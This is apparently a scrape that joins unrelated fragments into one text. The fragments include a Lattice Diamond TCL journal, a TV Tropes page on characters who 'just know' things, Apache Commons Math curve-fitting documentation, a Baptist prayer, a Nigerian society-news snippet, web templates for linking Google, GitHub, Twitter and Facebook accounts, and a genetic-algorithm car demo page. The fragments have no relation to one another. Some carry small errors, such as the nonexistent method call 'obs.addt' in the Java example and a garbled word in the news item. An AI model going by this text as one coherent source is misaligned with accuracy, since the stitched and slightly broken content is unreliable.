prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "Sec6_Top_tf.v" prj_src remove "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/Sec6_Top_tf.v" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "Sec6_Top_tf.v" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/interperateADC.v" prj_src remove "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/interperateADC.v" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/interpretADC.v" prj_project save prj_project close #Stop recording: 6/4/2014 09:35:37


Chosen Heroine: I had a hunch!
Is there something that absolutely must be done for plot reasons, but the character that must do it has absolutely no obligation to do so? Sometimes a writer will write himself into a corner. The main character has to be in an abandoned field to meet the giant mutant insectoid elephants in the middle of the night, but there's absolutely no reason for her to be in that field at midnight.
Well, why can't she just know?
"I just knew" is an all-purpose plot contrivance for all a writer's needs, and can usually be explained away by the compelling forces of magic or psychic powers. When asked why a character had to be at a certain place or do something at a certain time, the response will always be, "I just knew." Unless there's a previously well-established reason for this character to be compelled as such, or careful, delicate mind-control is revealed later, this is a sign of lazy plotting. Usually it is in those cases, too.
Occasionally used as a response to You Will Know What to Do. Compare to Gut Feeling.
Examples:
- In Marvel's Guardians of the Galaxy comics, the character of Starhawk referred to himself as "One who knows", using this as a rationale for suggesting courses of action that were often contrary to the team's current goals. Of course he'd turn out to be right. We find out later it's because he's stuck in a loop where his soul reincarnates into his own infant body, so he's lived through the events multiple times and simply remembers the correct path to take.
- Princess Mononoke: "The head must be returned by human hands!" Did Ashitaka take Bizarre Supernatural Stuff That's Never Happened Before 101 at Exiled Prince University or what?
- Played for Laughs in My Little Pony: Equestria Girls. Twilight Sparkle is about to explain everything to the alternate versions of her friends from Equestria, when human Pinkie Pie does it for her by blurting out a rapid-fire summation of the entire plot of the movie.
Twilight Sparkle: How did you know all that?!
Pinkie Pie: Just a hunch!- According to one of the later tie-in shorts, Pinkie's not being truthful about that. She also might be the Pinkie who Twilight knows back in Equestria; apparently the two of them trade places every so often.
- In The Transformers: The Movie, Hot Rod says he "just has this feeling" that the Autobot Matrix of Leadership will help them defeat Unicron. It does. Given that he'd briefly handled the Matrix when Optimus died and he was the one actually chosen to carry it, it had probably told him.
- Subversion: In the 2005 remake of The Cabinet of Dr. Caligari, this is one of the hero's most frequently used lines. It turns out that he's nuts.
- Lampshaded in the film version of Harry Potter and the Half-Blood Princenote after Harry declares that Malfoy is a Death Eater. As it turns out, Harry is completely right.
McGonagall: That is a very serious accusation, Potter.
Snape: Indeed. Your evidence?
Harry: I just know.
Snape: You just... know.
- Justified in Harry Potter and the Half-Blood Prince, where Harry drinks a Luck Potion, which grants him magical intuition. Under the potion's effects, the user will feel a strong urge to go somewhere and/or do something that will result in a stroke of good fortune. It is basically commodified good luck.
- Cassie from Animorphs can see people's motivations and in the final arc she lets Tom get the Escafil Device out of instinct and is seen as a traitor. But it causes the Yeerk Empire to break apart because of the morphing power it grants is being denied to the taxxons and Tom uses it as a incentive to betray Visser One. She's not called Cassandra for nothing.
- This is used by Richard, in Sword of Truth series repeatedly. The most egregious instance is in Naked Empire, where he all-of-a-sudden knows the recipe for the antidote to the poison that's killing him, with no indication of how he knows it.
- Stephen King uses this one a lot in The Dark Tower series.
- Plenty of times, the heroes have vital information just suddenly pop into their heads out of nowhere. It's usually "explained" as the doing of "Ka", fate.  "Ka." "How do you know how to operate these magic doors?" "Ka."  "Ka." Partially justified because the protagonist has gone through the adventure thousands of times already, over and over, but this is still lazy.
- Mordred Deschain even wonders about how he knows this stuff once. Of course, he's born during the cycle, so he might well have learned some things other times around.
- Parodied and Lampshaded in Game Night by Jonny Nexus. One of the gods' mortals fell into a river, stranding him behind an impenetrable doorway the party had already passed, and the rest of the party had no way of knowing he was alive, let alone where he was. The other gods have their mortals go back and find him, and the mortals (who don't know they're literally the gods' playthings) comment on how strange it was that they were so compelled to return to the gate.
- Garion got this quite a bit in the course of The Belgariad. He is being guided by a prophecy but as noted in the description this is still a device to facilitate the plot.
- Justified for Saracen Rue in Skulduggery Pleasant, since he has an adept ability that grants him knowledge of things he shouldn't know about, but not other things. What exactly this power is and on what basis knowledge is granted to him is his most closely guarded secret.
- Lost:
- Subverted with Locke in the fifth season as he seems to intuitively know where to go and what to do, as if the island is guiding him, but it is actually because he's not Locke.
- Played straight with the Man In Black who possesses certain intuitive knowledge just because.
- The X-Files:
- During the "Eve" episode, the clone girls' coordination is spine-chilling.
- Mulder always takes a wild stab in the dark at what the monster-of-the-week is based on little to no evidence, and is pretty much always correct. Except in the above Eve case, ironically enough.
- This is used as a major plot point in the first season Christmas episode of Scrubs. Turk has been doubting his faith in God after working an on call shift on Christmas Eve (one of the worst nights to work such a shift), while Elliot has lost track of a scared pregnant woman. Turk, not having even met the woman, is sitting on the roof when suddenly a realization hits him and he starts running to the park, where he finds the woman under a giant Christmas tree and helps to deliver the baby. When asked by Carla how he knew she was there, he answers: "I don't know, I just... knew." The implication is that God told him where to go, which is enough to restore his faith.
- In Phoenix Wright: Ace Attorney, witness April May "had a feeling" that she should look out her hotel window at a critical moment. She's lying — about looking out the window and, in fact, just about everything else — to frame the defendant and protect her employer, Redd White.
- Super Danganronpa 2: During the third case, Hajime is approached by someone who suggests he investigate the conference room at the hospital. Said location seems completely unrelated to the crime even after inspecting it, but it is crucial to solving the case, leaving the question of just why he was asked to investigate it. Since the one who approached him is eventually revealed to be sharing information with Monomi and is literally incapable of revealing this, the most likely explanation is that Monomi told them of the conference room's significance and approaching Hajime was a practical way of sharing this information.
- Justified and used as a major plot point in Zero Escape trilogy. Characters know things they shouldn't know because they have latent psychic powers. In fact activating and exploiting these powers in some way is a goal of each Zero.
- Constant in Dominic Deegan. Between the main character being a seer (who's in the business of doing this), his main method of saving the day being finding out what's going on and making sure the information gets to the right people if it takes psychic implantation, and Fate Itself and various other mighty forces weighing in periodically, this happens all the damn time. Occasionally it is wrong, or at least invokes From a Certain Point of View. Though not Dominic.
- Parodied in a Running Gag AH.com: The Series, where (from the end of Season 4 onwards) Once an Episode the character Landshark will make a ridiculous (and accurate) leap of "deduction". When asked how on Earth he knew that, he shrugs and replies "Hey, I'm British!"
- Avatar: The Last Airbender: The third episode has Aang stating as much on identifying a statue of his predecessor Roku, despite the statue not telling anyone who it is, and having no ability to call on any previous Avatars at that point.


13 Curve Fitting13.1 OverviewThe fitting package deals with curve fitting for univariate real functions. When a univariate real function y = f(x) does depend on some unknown parameters p0, p1 ... pn-1, curve fitting can be used to find these parameters. It does this by fitting the curve so it remains very close to a set of observed points (x0, y0), (x1, y1) ... (xk-1, yk-1). This fitting is done by finding the parameters values that minimizes the objective function Σ(yi - f(xi))2. This is actually a least-squares problem. For all provided curve fitters, the operating principle is the same. Users must
Some fitters require that initial values for the parameters are provided by the user, through the withStartPoint method, before attempting to perform the fit. When that's the case the fitter class usually defines a guessing procedure within a ParameterGuesser inner class, that attempts to provide appropriate initial values based on the user-supplied data. When initial values are required but are not provided, the fit method will internally call the guessing procedure. 13.2 Implemented FunctionsFitting of specific functions are provided through the following classes:
The following example shows how to fit data with a polynomial function. // Collect data. final WeightedObservedPoints obs = new WeightedObservedPoints(); obs.add(-1.00, 2.021170021833143); obs.add(-0.99, 2.221135431136975); obs.add(-0.98, 2.09985277659314); obs.add(-0.97, 2.0211192647627025); // ... Lots of lines omitted ... obs.addt(0.99, -2.4345814727089854); // Instantiate a third-degree polynomial fitter. final PolynomialCurveFitter fitter = PolynomialCurveFitter.create(3); // Retrieve fitted parameters (coefficients of the polynomial function). final double[] coeff = fitter.fit(obs.toList()); 13.3 General CaseThe AbstractCurveFitter class provides the basic functionality for implementing other curve fitting classes. Users must provide their own implementation of the curve template as a class that implements the ParametricUnivariateFunction interface. |


Day 6
To know the Love of Christ
6
Father, I ask that according to the riches of Your glory, You would grant the body of Muddy Creek Baptist church to be strengthened with might through Your Spirit in the inner man, that Christ may dwell in our hearts through faith, and that we, being rooted and grounded in love, may be able to comprehend with all the saints, what is the width and length and depth and height--to know the Love of Christ,
which passes knowledge, that we may be filled with all the fullness of GOD.
Now to You, O' GOD, who is able to do exceedingly abundantly above all that we ask or think, according to the power that works in us, to You be glory in the Church by Christ Jesus throughout all ages, world without end. Amen. (Ephesians 3:14-21)


Adesegun Oniru moves on - The Nation Newspaper
Prince Adesegun Oniru didn’t miss out of the fun presented by the remembrance ceremony of Oba Yekini Elegushi.
 When the king passed on, it was leant that Adesegun struggled to deal with it. He was really close with his father and shared exciting memories with him.
Meanwhile, there are reports that he is also eyeing the tool of his father, who joined his ancestors in September.


{% extends "base.html" %} {% block title %}Heathskin - Links{% endblock %} {% block content %}
Welcome to Heathskin, a web application capable of providing useful game-tracking in real-time, and statistically, over many games.
For more information, see our github.


java.lang.Object
.
Such extension is redundant as java.lang.Object
is a supertype of all classes.
Example:
class ClassA<T extends Object> {}
Configure the inspection:
Use the Ignore when java.lang.Object is annotated option to disable the inspection if
java.lang.Object
is annotated.
Example:
class ClassB<T extends @A Object> {}


Enter the desired number of cars per generation here.
Number of Parents:
Enter the number of cars chosen from each generation to create the next here.
Mutation Rate:
Enter the degree of mutation as a percent here (i.e. the initial mutation rate of 2% is entered as 0.02).
Current Generation:
Current Generation:
Information
Results
What is a Genetic Algorithm?
Genetic algorithms (GAs) search for near-optimal solutions to a wide variety of
problems with incomplete or imperfect information by emulating the process of
natural selection. As the algorithm is used, the solution will be more and more optimized. They are well suited to solving open ended problems with a variety of possible solutions. Applications of genetic algorithms include automated design,
bioinformatics, economics, game theory, and training neural networks.
What is this program's purpose?
Presented here is an application of genetic algorithms. This program will randomly
generate an initial car with a polygon body and two wheels randomly placed. Observe
how the car evolves towards a more successful iteration to move farther and farther
along the road.
How performance is calculated
Under the Results heading, you will see that the best car of each generation is displayed with a corresponding value giving its "cycles". Each car possesses a health value to determine if it is still moving. As the car moves, a thread is constantly running to check the car's speed. If the car is not making forwards advancement the health of the car decreases. When the car's health reaches zero it is determined to be dead, and the number of times the thread cycled is recorded as the number of cycles. The greater the amount of cycles, the better performing the car is.
GitHub
The full code and documentation for the Genetic Cars project can be found on a
Github repository.


| Modifier and Type | Constant Field | Value |
|---|---|---|
public static final int |
NUM_SQUARES |
64 |
public static final int |
SIZE |
8 |
| Modifier and Type | Constant Field | Value |
|---|---|---|
public static final int |
BLACK |
1 |
public static final int |
DRAW |
2 |
public static final int |
IN_PROGRESS |
3 |
public static final int |
WHITE |
0 |
| Modifier and Type | Constant Field | Value |
|---|---|---|
public static final int |
HEIGHT |
100 |
public static final int |
WIDTH |
200 |
| Modifier and Type | Constant Field | Value |
|---|---|---|
public static final int |
HEIGHT |
8 |
| Modifier and Type | Constant Field | Value |
|---|---|---|
public static final int |
LEVEL_COUNT |
2 |
| Modifier and Type | Constant Field | Value |
|---|---|---|
public static final int |
INITIAL_RADIUS |
2 |
public static final int |
JUMP |
6 |
public static final int |
VELOCITY_SCALE |
10 |
| Modifier and Type | Constant Field | Value |
|---|---|---|
public static final int |
FRICTION |
4 |
public static final int |
GRAVITY |
8 |
| Modifier and Type | Constant Field | Value |
|---|---|---|
public static final int |
NUM_VERTICES |
3 |


--- redirect_from: /ru/VirtualConsole.html title: "ConEmu | VirtualConsole" breadcrumbs: - url: TableOfContents.html#terms title: ConEmu - url: ConEmuTerms.html title: Terms ---
In turn to RealConsole, ‘Virtual console’ is just a part of ConEmu window where ConEmu draw the contents of your terminal.


{% extends 'base.html' %} {% block content %}
Connected as {{ google_login.extra_data.login }}
{% if can_disconnect %} {% else %}You must define a password for your account before disconnecting from Google.
{% endif %} {% else %} Connect to Google {% endif %}Connected as {{ github_login.extra_data.login }}
{% if can_disconnect %} {% else %}You must define a password for your account before disconnecting from Github.
{% endif %} {% else %} Connect to GitHub {% endif %}Connected as @{{ twitter_login.extra_data.access_token.screen_name }}
{% if can_disconnect %} {% else %}You must define a password for your account before disconnecting from Twitter.
{% endif %} {% else %} Connect to Twitter {% endif %}Connected as {{ facebook_login.extra_data.id }}
{% if can_disconnect %} {% else %}You must define a password for your account before disconnecting from Facebook.
{% endif %} {% else %} Connect to Facebook {% endif %} {% endblock %}